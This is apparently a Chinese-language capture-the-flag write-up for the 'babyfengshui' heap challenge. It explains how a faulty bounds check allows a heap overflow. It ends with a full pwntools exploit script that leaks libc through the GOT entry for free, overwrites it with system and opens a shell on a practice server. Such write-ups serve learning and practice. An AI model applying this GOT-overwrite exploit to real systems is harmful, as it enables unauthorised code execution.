babyfengshui_33c3_2016[堆溢出]

未來的你 = 你的熱情 + 你的努力 + 那麼微不足道的天賦

在這裏插入圖片描述

其實做pwn題我感覺都是隻可意會,但並非不可言傳,只是說了感覺和說廢話一樣,沒有什麼實質性的作用,最最重要的是要自己多去操作調試,pwn多了也就那樣吧!但是最核心的永遠是你coding的能力!雖然在幹着逆向的事,但是coding的能力決定了你的高度! ----小白感悟

這道題問題出現在更新的時候邊界的判斷方法有問題,結合的堆的機制,就可以形成堆溢出!
在這裏插入圖片描述
添加一個用戶會申請兩個chunk,後一個chunk的內容爲前一個chunk的地址+輸入的text

struct user {
	void * prev_chunk;
	char text[124];
};
// sizeof(struct user) = 0x80

第二個chunk的的內容也就是上面的結構

對於這個判斷就是前一個chunk的起始地址 + size 與 當前chunk的起始地址 - 4 進行比較(因爲這是32位程序)。這種判斷方法顯然只有每一個用戶都是一個挨着一個有效,這樣在內存中堆上的佈局纔會是每個chunk依次挨着。

堆的機制,當我們釋放大於fastbin的範圍時候會先放到unsorted bin(前提是不和top chunk相鄰,不然直接合並了),同理申請的時候也是優先從unsorted bin中進行分配。

所以當我們刪除用戶的時候,也就是釋放chunk,放到那麼就不按照順序了

當前一個chunk的位置離當前chunk非常遠的時候,上面的條件就可以輕鬆繞過。

接下來就是利用堆溢出修改上面user結構體的的prev_chunk的指針爲got表中的free,因爲此時已經重定位過了,然後直接打印就能拿到free的地址,泄露libc,拿到system的地址。

由於上面已經填入了free的got地址,當再次更新的時候,就會直接操作got表,此時再將free的位置修改爲system的地址。最後當我們再一次free的時候,就會直接調用system函數了,/bin/sh是我們直接填入的,爲什麼會調用呢?可以先看一下free部分的做法

 if ( a1 < byte_804B069 && ptr[a1] )
  {
    free(*ptr[a1]);
    free(ptr[a1]);
    ptr[a1] = 0;
  }

ptr是一個指針數組,存放我們每次malloc的地址,當我們修改got表後就相當於system(*ptr[a1]),此時*ptr[a1]位置就是我們填入的/bin/sh,從而拿到shell.

exp

from pwn import *
from LibcSearcher import *

context(log_level='debug')

def debug_pause():
	log.info(proc.pidof(p))
	pause()

def add_user(size, text):
	"""
	text_len update length
	text description
	"""
	p.sendlineafter('Action:', '0')
	p.sendlineafter('size of description:', str(size))
	p.sendlineafter('name', b'moddemod')
	p.sendlineafter('text length', str(text.__len__()))
	p.sendlineafter('text', text)
	

def delete_user(index):
	p.sendlineafter('Action:', '1')
	p.sendlineafter('index:', str(index))
	

def display_user(index):
	p.sendlineafter('Action:', '2')
	p.sendlineafter('index:', str(index))
	# p.recvuntil('name:')


def update_user(index, text):
	p.sendlineafter('Action:', '3')
	p.sendlineafter('index:', str(index))
	p.sendlineafter('text length', str(text.__len__()))
	p.sendafter('text', text)
	

proc_name = './babyfengshui_33c3_2016'
p = process(proc_name)
p = remote('node3.buuoj.cn', 28094)
elf = ELF(proc_name)
add_user(0x10, b'a') # 0
add_user(0x10, b'b') # 1
add_user(0x10, b'/bin/sh\x00') # 2
# debug_pause()

delete_user(0)
free_got = elf.got['free']
add_user(0x80, b'a' * 0x80 + p32(0x0) + p32(0x19) +  b'a' * 0x10 + p32(0x0) + p32(0x89) + p32(free_got))
display_user(1)
p.recvuntil('description: ')
free_addr = u32(p.recv(4))
log.info(hex(free_addr))
libc = LibcSearcher('free', free_addr)
libc_base = free_addr - libc.dump('free')
system_addr = libc_base + libc.dump('system')
update_user(1, p32(system_addr))
delete_user(2)
p.interactive()


在這裏插入圖片描述
如果還是不能理解的話,下面應該是作者的源碼吧,可以參考一下!
源碼:https://github.com/bkth/babyfengshui/blob/master/babyfengshui.c

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章